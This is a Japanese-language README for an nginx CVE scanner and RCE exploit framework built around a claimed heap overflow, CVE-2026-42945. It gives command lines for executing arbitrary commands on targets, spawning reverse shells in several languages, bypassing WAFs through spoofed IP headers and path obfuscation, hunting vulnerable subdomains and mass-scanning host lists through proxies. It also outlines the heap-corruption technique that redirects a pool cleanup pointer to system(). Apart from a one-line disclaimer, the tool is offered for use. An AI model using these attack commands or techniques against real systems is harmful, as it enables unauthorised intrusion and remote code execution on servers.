
nginx CVEスキャナー + RCEエクスプロイトフレームワーク (CVE-2026-42945 ほか16件)
nGixShell は nginx の CVE スキャナ兼 RCE エクスプロイトフレームワークです。ngx_http_rewrite_module における深刻なヒープバッファオーバーフローである CVE-2026-42945 の動作する概念実証(PoC)と、自動 HTTP プローブ、フィンガープリンティング、WAF 検出・バイパス、Web セキュリティ監査、レポート生成を備えた 53 件の nginx CVE をカバーするスキャナを同梱しています。
外部依存関係ゼロ。純粋な Python 3 標準ライブラリのみで動作します。
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
フラグは不要です — ツールにターゲットを指定するだけで、すべてが自動で実行されます。
TLS は自動検出されます。server_tokens off が設定されていても nginx をフィンガープリントできます。
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| フラグ | 説明 |
|---|---|
--waf-detect | スキャン前に WAF を検出 |
--waf-bypass | すべてのバイパステクニックを有効化(WAF 検出も実行) |
--waf-ip IP | バイパスヘッダーでこの IP を偽装(デフォルト: ランダムな RFC1918 アドレス) |
バイパステクニック(--waf-bypass 設定時はすべて有効):
検出可能な WAF: Cloudflare、AWS WAF、Akamai、Imperva/Incapsula、ModSecurity、F5 BIG-IP ASM、Sucuri、Barracuda、NAXSI、Fastly、Wordfence
スキャンモードで自動実行されます。各モジュールは個別にスキップできます。
/nginx_status からアクティブ接続のメトリクスを解析| フラグ | 説明 |
|---|---|
--port PORT | ポートを上書き |
--tls | TLS を強制(デフォルトでは自動検出) |
| フラグ | 説明 |
|---|---|
--user-agent UA | カスタム User-Agent |
--auth USER:PASS | HTTP ベーシック認証 |
--cookie VALUE |
| フラグ | 説明 |
|---|---|
--rate-limit RPS | 1 秒あたりの最大リクエスト数 |
--jitter MS | リクエスト間のランダム遅延(0~MS ミリ秒) |
--retry N |
| フラグ | 説明 |
|---|---|
--output FILE | ログを FILE に書き込む |
2009 年から 2026 年にかけての 53 件を収録。CVSS スコア順にソート済み。
nginx の rewrite スクリプトエンジンは、バッファサイズを計算してからコピーするという2 パス方式を採用しています。rewrite の置換文字列に ? が含まれるとメインエンジンで is_args フラグが設定されますが、長さ計算パスは新しくゼロ初期化されたサブエンジン上で実行されます:
is_args = 0 のため、生のキャプチャ長を返すis_args = 1 のため、ngx_escape_uri(NGX_ESCAPE_ARGS) を呼び出し、安全でない各バイトを 3 バイトに展開するこのコピーにより、サイズ不足のヒープバッファが攻撃者が制御する URI データでオーバーフローします。エクスプロイトは、クロスリクエストのヒープ feng shui によって隣接する ngx_pool_t のクリーンアップポインタを破壊し、プール破棄時に system() を呼び出す偽の ngx_pool_cleanup_s へリダイレクトします。
| 製品 | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
ベンダーアドバイザリ: https://my.f5.com/manage/s/article/K000160932
Ubuntu 24.04 LTS でテスト済み。Docker と Python 3.8 以降が必要です。
# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Full scan
python3 ngixshell.py 127.0.0.1:19321
# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
許可を得たセキュリティテスト、CTF コンペティション、研究目的に限り使用してください。
| フラグ | 説明 |
|---|
| (なし) | 自動 — フィンガープリント + CVE スキャン + Web 監査 |
--cmd 'CMD' | CVE-2026-42945 の RCE 経由でコマンドを実行 |
--cmd-file FILE | ファイルからコマンドを実行(; で連結) |
--shell | リバースシェルを生成 |
--shell-type TYPE | ペイロード: bash python perl php nc powershell(デフォルト: python) |
--upgrade-shell | シェル接続後に PTY アップグレードを自動送信 |
--subdomain-scan DOMAIN | サブドメイン上の脆弱な nginx を検索 |
--cve CVE-ID | 特定の CVE を 1 件テスト |
--list-cves | 53 件すべての CVE を CVSS とプローブ情報付きで表示 |
--list-candidates | ヒープアドレスの候補を表示 |
--dry-run | フィンガープリント + スキャンのみ(エクスプロイトなし) |
--target-file FILE | ファイルから複数のホストをスキャン |
| テクニック | 詳細 |
|---|
| IP 偽装 | X-Forwarded-For、X-Real-IP、X-Originating-IP、True-Client-IP、X-Remote-IP、X-Client-IP |
| UA ローテーション | 11 種類の実在するブラウザ/ボットの User-Agent をリクエストごとにランダム化 |
| パス難読化 | ダブルスラッシュ、/./ パディング、パーセントエンコーディング、大文字小文字のバリエーション |
| ヘッダー名大文字小文字シャッフル | ヘッダー名の大文字小文字をランダム化して WAF のパターンマッチングを回避 |
| フラグ | 説明 |
|---|
--skip-headers | HTTP セキュリティヘッダー監査をスキップ |
--skip-paths | パス・ファイル探索をスキップ |
--skip-vhosts | 仮想ホスト列挙をスキップ |
--skip-tls | TLS プロトコル監査をスキップ |
--path-wordlist FILE | 追加でプローブするパス(1 行に 1 つ) |
--proxy URLプロキシ: http://、https://、socks5:// |
| Cookie ヘッダー |
--header NAME:VALUE | 追加ヘッダー(繰り返し指定可能) |
| 判定不能なプローブを再試行(デフォルト: 1) |
--timeout-multiplier X | すべてのタイムアウトを拡大(デフォルト: 1.0) |
--json | 最後に JSON サマリーを出力 |
--html-report [FILE] | HTML レポートを生成(デフォルト: ngixshell_<host>_<ts>.html) |
--verbose | デバッグ出力 |
| CVE | CVSS | コンポーネント | 説明 |
|---|
| CVE-2026-42945 | 9.8 CRITICAL | rewrite | ヒープオーバーフロー → RCE(実証済み) |
| CVE-2026-42946 | 8.1 HIGH | rewrite | メモリ破壊(同一アドバイザリ) |
| CVE-2022-41741 | 7.8 HIGH | mp4 | 悪意のある mp4 によるメモリ破壊 |
| CVE-2016-1247 | 7.8 HIGH | packaging | ログファイルのシンボリックリンクによる権限昇格 |
| CVE-2021-23017 | 7.7 HIGH | resolver | オフバイワンによるヒープ上書き |
| CVE-2026-40701 | 7.5 HIGH | request | リクエスト処理におけるメモリ破壊 |
| CVE-2026-42934 | 7.5 HIGH | request | メモリ破壊(同一アドバイザリ) |
| CVE-2026-27784 | 7.5 HIGH | mp4 | 巧妙に細工された mp4 によるバッファオーバーフロー |
| CVE-2026-32647 | 7.5 HIGH | mp4 | バッファオーバーフロー(上記の関連脆弱性) |
| CVE-2024-24990 | 7.5 HIGH | HTTP/3 | QUIC モジュールにおける Use-After-Free |
| CVE-2024-24989 | 7.5 HIGH | HTTP/3 | QUIC における NULL ポインタ参照 |
| CVE-2024-31079 | 7.5 HIGH | HTTP/3 | QUIC エンコーダにおけるスタックオーバーフロー |
| CVE-2024-32760 | 7.5 HIGH | HTTP/3 | HEADERS フレームによるバッファ上書き |
| CVE-2022-41742 | 7.5 HIGH | mp4 | ヒープメモリの情報漏えい |
| CVE-2017-7529 | 7.5 HIGH | range filter | 整数オーバーフロー → 領域外読み取り |
| CVE-2016-0746 | 7.5 HIGH | resolver | 巧妙に細工された DNS 応答による Use-After-Free |
| CVE-2014-0133 | 7.5 HIGH | SPDY | SPDY 実装におけるヒープオーバーフロー |
| CVE-2014-0088 | 7.5 HIGH | SPDY | SPDY におけるメモリ破壊 |
| CVE-2013-4547 | 7.5 HIGH | core | スペース + NUL による URI バイパス |
| CVE-2013-2028 | 7.5 HIGH | core | チャンク転送エンコーディングによるスタックオーバーフロー |
| CVE-2012-1180 | 7.5 HIGH | proxy | プロキシモジュールにおける Use-After-Free |
| CVE-2009-3555 | 7.5 HIGH | SSL | TLS 再ネゴシエーション注入(MITM) |
| CVE-2009-2629 | 7.5 HIGH | core | URI 解析におけるバッファアンダーフロー |
| CVE-2026-42926 | 6.5 MEDIUM | HTTP/2 | プロキシ経由のリクエストスプリッティング |
| CVE-2026-27654 | 6.5 MEDIUM | WebDAV | DAV モジュールにおけるヒープオーバーフロー |
| CVE-2026-28753 | 6.5 MEDIUM | メールプロキシにおけるヘッダーインジェクション | |
| CVE-2026-1642 | 6.5 MEDIUM | proxy | SSL アップストリームセッション再利用による情報漏えい |
| CVE-2019-9511 | 6.5 MEDIUM | HTTP/2 | Data Dribble による CPU・メモリ DoS |
| CVE-2012-2089 | 6.8 MEDIUM | mp4 | mp4 リクエストによるバッファオーバーフロー |
| CVE-2018-16845 | 5.5 MEDIUM | mp4 | 整数アンダーフロー → クラッシュ + 情報漏えい |
| CVE-2019-20372 | 5.3 MEDIUM | proxy | HTTP リクエストスマグリング |
| CVE-2026-40460 | 5.3 MEDIUM | HTTP/3 | QUIC 接続のなりすまし |
| CVE-2026-28755 | 5.3 MEDIUM | SSL | OCSP 処理におけるメモリ情報漏えい |
| CVE-2025-23419 | 5.3 MEDIUM | SSL | TLS セッション再開による証明書バイパス |
| CVE-2024-35200 | 5.3 MEDIUM | HTTP/3 | NULL ポインタ参照 |
| CVE-2024-34161 | 5.3 MEDIUM | HTTP/3 | メモリ情報漏えい |
| CVE-2016-4450 | 5.3 MEDIUM | core | チャンク化されたリクエストボディによる NULL ポインタ |
| CVE-2016-0742 | 5.0 MEDIUM | resolver | 巧妙に細工された UDP パケットによる無効なポインタ |
| CVE-2016-0747 | 5.0 MEDIUM | resolver | CNAME 解決の回数制限の不備 |
| CVE-2014-3556 | 5.0 MEDIUM | STARTTLS コマンドインジェクション | |
| CVE-2013-2070 | 5.3 MEDIUM | proxy | バックエンド応答の情報漏えい |
| CVE-2011-4963 | 5.0 MEDIUM | access | IPv6 リテラルによるアクセス制御バイパス |
| CVE-2011-4315 | 5.0 MEDIUM | resolver | 巧妙に細工された DNS 応答によるヒープオーバーフロー |
| CVE-2009-3896 | 5.0 MEDIUM | core | NULL ポインタ参照による DoS |
| CVE-2025-53859 | 4.3 MEDIUM | SMTP コマンドインジェクション | |
| CVE-2014-3616 | 4.3 MEDIUM | SSL | TLS SNI による仮想ホスト混同 |
| CVE-2026-27651 | 4.3 MEDIUM | メールプロキシにおける NULL ポインタ参照 | |
| CVE-2019-9513 | 4.3 MEDIUM | HTTP/2 | Resource Loop による CPU DoS |
| CVE-2019-9516 | 4.3 MEDIUM | HTTP/2 | 0 長ヘッダーによるメモリ枯渇 |
| CVE-2018-16843 | 4.3 MEDIUM | HTTP/2 | 過剰なメモリ消費 |
| CVE-2018-16844 | 4.3 MEDIUM | HTTP/2 | SETTINGS フレームによる過剰な CPU 消費 |
| CVE-2024-7347 | 4.7 MEDIUM | mp4 | 領域外読み取り |
| CVE-2009-3898 | 4.9 MEDIUM | WebDAV | COPY/MOVE によるディレクトリトラバーサル |